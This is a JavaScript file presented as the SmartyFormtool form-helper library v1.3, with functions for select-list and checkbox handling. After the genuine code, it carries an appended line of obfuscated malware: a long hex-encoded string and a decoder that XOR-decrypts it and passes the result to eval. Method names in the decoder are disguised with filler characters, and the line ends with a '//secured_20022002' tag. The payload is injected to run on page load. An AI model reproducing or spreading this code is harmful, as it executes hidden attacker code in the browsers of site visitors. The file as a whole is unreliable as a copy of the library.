//------------------------------------------------------------------------------
//  SmartyFormtool Javascript Library version 1.3
//  http://www.phpinsider.com/php/code/SmartyFormtool/
//
//  Copyright(c) 2004 ispi. All rights reserved.
//
//  This library is free software; you can redistribute it and/or modify it
//  under the terms of the GNU Lesser General Public License as published by
//  the Free Software Foundation; either version 2.1 of the License, or (at
//  your option) any later version.
//
//  This library is distributed in the hope that it will be useful, but WITHOUT
//  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
//  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
//  License for more details.
//------------------------------------------------------------------------------

ischecked = new Object();
function formtool_checkall(id, field, check_text, uncheck_text) {
if (ischecked[id] != "true") {
for (i = 0; i < field.length; i++) { field[i].checked = true; }
ischecked[id] = "true";
return uncheck_text;
} else {
for (i = 0; i < field.length; i++) { field[i].checked = false; }
ischecked[id] = "false";
return check_text;
}
}

var isselected = new Object();
function formtool_selectall(id, field, select_text, unselect_text) {
if (isselected[id] != "true") {
for (i = 0; i < field.length; i++) { field.options[i].selected = true; }
isselected[id] = "true";
return unselect_text;
} else {
for (i = 0; i < field.length; i++) { field.options[i].selected = false; }
isselected[id] = "false";
return select_text;
}
}

function formtool_moveup(field,save) {
for (i = 0; i < field.length; i++) {
if(field.options[i].selected == true && i > 0) {
var tmplabel = field.options[i-1].label;
var tmpval = field.options[i-1].value;
var tmptext = field.options[i-1].text;
var tmpsel = field.options[i-1].selected;
field.options[i-1].label = field.options[i].label;
field.options[i-1].value = field.options[i].value;
field.options[i-1].text = field.options[i].text;
field.options[i-1].selected = field.options[i].selected;
field.options[i].label = tmplabel;
field.options[i].value = tmpval;
field.options[i].text = tmptext;
field.options[i].selected = tmpsel;
}
}
formtool_save(field,save);
}

function formtool_movedown(field,save) {
var max = field.length - 1;
for (i = max; i >= 0; i--) {
if(field.options[i].selected == true && i < max) {
var tmplabel = field.options[i+1].label;
var tmpval = field.options[i+1].value;
var tmptext = field.options[i+1].text;
var tmpsel = field.options[i+1].selected;
field.options[i+1].label = field.options[i].label;
field.options[i+1].value = field.options[i].value;
field.options[i+1].text = field.options[i].text;
field.options[i+1].selected = field.options[i].selected;
field.options[i].label = tmplabel;
field.options[i].value = tmpval;
field.options[i].text = tmptext;
field.options[i].selected = tmpsel;
}
}
formtool_save(field,save);
}

function formtool_save(choices,storage) {
order = new Array();
for(i=0; i<choices.length; i++) {
order[i] = choices.options[i].value;
}
storage.value = order.join(",");
}


function formtool_rename(field,text,save) {
for (i = 0; i < field.length; i++) {
if(field.options[i].selected == true) {
field.options[i].text = text;
field.options[i].value = text;
}
}
formtool_save(field,save);
return '';
}

function formtool_move(field1,field2,save_from,save_to,counter_from,counter_to,moveall) {
if (moveall == true) {
formtool_add_all(field1,field2,false);
formtool_remove_all(field1,field2);
} else {
formtool_add_item(field1,field2,false);
formtool_remove_item(field1);
}
formtool_save(field1,save_from);
formtool_save(field2,save_to);
if (counter_from) {
counter_from.value = field1.length;
}
if (counter_to) {
counter_to.value = field2.length;
}

}

function formtool_copy(field1,field2,save,counter,copyall) {
if (copyall == true) {
formtool_add_all(field1,field2,true);
} else {
formtool_add_item(field1,field2,true);
}
formtool_save(field2,save);
if (counter) {
counter.value = field2.length;
}
}

function formtool_remove(field,save,counter,removeall) {
if (removeall == true) {
formtool_remove_all(field);
} else {
formtool_remove_item(field);
}
formtool_save(field,save);
if (counter) {
counter.value = field.length;
}
}


// code form adding/removing items originated from devx.com by Boris Feldman
// http://gethelp.devx.com/techtips/js_pro/10min/10min0499/10min0499.asp

function formtool_add_item(field1,field2,ignore_duplicates) {
var i;
var j;
var itemexists;
var nextitem;

// step through all items in field1
for (i = 0; i < field1.options.length; i++) {
if (field1.options[i].selected) {
// search field2 to see if duplicate
j = 0;
itemexists = false;
while ((j < field2.options.length) && (!(itemexists))) {
if (field2.options[j].value == field1.options[i].value) {
itemexists = true;
if (!ignore_duplicates) {
alert(field1.options[i].value + " found!");
}
}
j++;
}
if (!(itemexists)) {
// add the item
nextitem = field2.options.length;
field2.options[nextitem] = new Option(field1.options[i].text);
field2.options[nextitem].value = field1.options[i].value;
}
}
}
}

function formtool_remove_item(field1) {
var i;
for (i = 0; i < field1.options.length; i++) {
if (field1.options[i].selected) {
field1.options[i] = null;
i--;
}
}
}

function formtool_add_all(field1,field2,ignore_duplicates) {
var i;
var j;
var itemexists;
var nextitem;

// step through all items in field1
for (i = 0; i < field1.options.length; i++) {
// search field2 to see if duplicate
j = 0;
itemexists = false;
while ((j < field2.options.length) && (!(itemexists))) {
if (field2.options[j].value == field1.options[i].value) {
itemexists = true;
}
j++;
}
if (!(itemexists)) {
// add the item
nextitem = field2.options.length;
field2.options[nextitem] = new Option(field1.options[i].text);
field2.options[nextitem].value = field1.options[i].value;
}
}
}

function formtool_remove_all(field1) {
field1.options.length = 0;
}

function formtool_set_size(list1,list2){
list1.size = formtool_get_size(list1);
list2.size = formtool_get_size(list2);
}

function formtool_unselect_all(list1,list2){
list1.selectedIndex = -1;
list2.selectedIndex = -1;
moved_element = -1;
}

function formtool_get_size(list){
var moz_len = 0;
for(i=0; i < list.childNodes.length; i++) {
if( list.childNodes.item(i).nodeType == 1 ) { moz_len++; }
}
if(moz_len < 2)
return 2;
else
return moz_len;
}

function formtool_count_chars(textField, countField, maxlen,show_alert) {
if(textField != null && textField.value != null) {
if (textField.value.length > maxlen){
if(show_alert)
alert('This field cannot exceed ' +  maxlen + ' characters.');
textField.value = textField.value.substring(0, maxlen);
} else {
countField.value = maxlen - textField.value.length;
}
}
}
this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002